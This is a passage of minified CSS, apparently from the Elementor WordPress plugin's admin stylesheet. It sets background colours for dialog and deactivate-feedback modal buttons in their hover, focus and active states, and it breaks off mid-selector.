.dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .elementor-button.dialog-button.dialog-ok.dialog-cancel:focus, .e-btn.e-primary.e-btn-txt:hover, #elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:hover, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:hover, .e-btn.e-primary.e-btn-txt:focus, #elementor-deactivate-feedback-modal .e-btn.e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .e-btn.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-primary.e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .e-primary.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-btn-txt.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-primary.dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-primary.dialog-button.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, .dialog-type-confirm .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.e-btn-txt.dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .e-btn-txt.dialog-button.dialog-ok.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-submit.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper .e-btn.dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-skip:focus, .dialog-type-alert .dialog-buttons-wrapper #elementor-deactivate-feedback-modal .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus, #elementor-deactivate-feedback-modal .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel.dialog-submit:focus { background: var(--e-a-bg-primary); } .elementor-button.go-pro, .elementor-button.e-accent, .e-btn.go-pro, #elementor-deactivate-feedback-modal .go-pro.dialog-skip, #elementor-deactivate-feedback-modal .go-pro.dialog-submit, .e-btn.e-accent, #elementor-deactivate-feedback-modal .e-accent.dialog-skip, #elementor-deactivate-feedback-modal .e-accent.dialog-submit { background-color: var(--e-a-btn-bg-accent); } .elementor-button.go-pro:hover, .elementor-button.go-pro:focus, .elementor-button.e-accent:hover, .elementor-button.e-accent:focus, .e-btn.go-pro:hover, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:hover, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:hover, .e-btn.go-pro:focus, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:focus, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:focus, .e-btn.e-accent:hover, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:hover, .e-btn.e-accent:focus, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:focus { background-color: var(--e-a-btn-bg-accent-hover); } .elementor-button.go-pro:active, .elementor-button.e-accent:active, .e-btn.go-pro:active, #elementor-deactivate-feedback-modal .go-pro.dialog-skip:active, #elementor-deactivate-feedback-modal .go-pro.dialog-submit:active, .e-btn.e-accent:active, #elementor-deactivate-feedback-modal .e-accent.dialog-skip:active, #elementor-deactivate-feedback-modal .e-accent.dialog-submit:active { background-color: var(--e-a-btn-bg-accent-active); } .elementor-button.elementor-button-info, .elementor-button.e-info, .e-btn.elementor-button-info, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit, .e-btn.e-info, #elementor-deactivate-feedback-modal .e-info.dialog-skip, #elementor-deactivate-feedback-modal .e-info.dialog-submit { background-color: var(--e-a-btn-bg-info); } .elementor-button.elementor-button-info:hover, .elementor-button.elementor-button-info:focus, .elementor-button.e-info:hover, .elementor-button.e-info:focus, .e-btn.elementor-button-info:hover, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:hover, .e-btn.elementor-button-info:focus, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-info.dialog-submit:focus, .e-btn.e-info:hover, #elementor-deactivate-feedback-modal .e-info.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-info.dialog-submit:hover, .e-btn.e-info:focus, #elementor-deactivate-feedback-modal .e-info.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-info.dialog-submit:focus { background-color: var(--e-a-btn-bg-info-hover); } .elementor-button.elementor-button-warning, .elementor-button.e-warning, .e-btn.elementor-button-warning, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit, .e-btn.e-warning, #elementor-deactivate-feedback-modal .e-warning.dialog-skip, #elementor-deactivate-feedback-modal .e-warning.dialog-submit { background-color: var(--e-a-btn-bg-warning); } .elementor-button.elementor-button-warning:hover, .elementor-button.elementor-button-warning:focus, .elementor-button.e-warning:hover, .elementor-button.e-warning:focus, .e-btn.elementor-button-warning:hover, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:hover, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:hover, .e-btn.elementor-button-warning:focus, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-skip:focus, #elementor-deactivate-feedback-modal .elementor-button-warning.dialog-submit:focus, .e-btn.e-warning:hover, #elementor-deactivate-feedback-modal .e-warning.dialog-skip:hover, #elementor-deactivate-feedback-modal .e-warning.dialog-submit:hover, .e-btn.e-warning:focus, #elementor-deactivate-feedback-modal .e-warning.dialog-skip:focus, #elementor-deactivate-feedback-modal .e-warning.dialog-submit:focus { background-color: var(--e-a-btn-bg-warning-hover); } .elementor-button.elementor-button-danger, .elementor-button.e-danger, 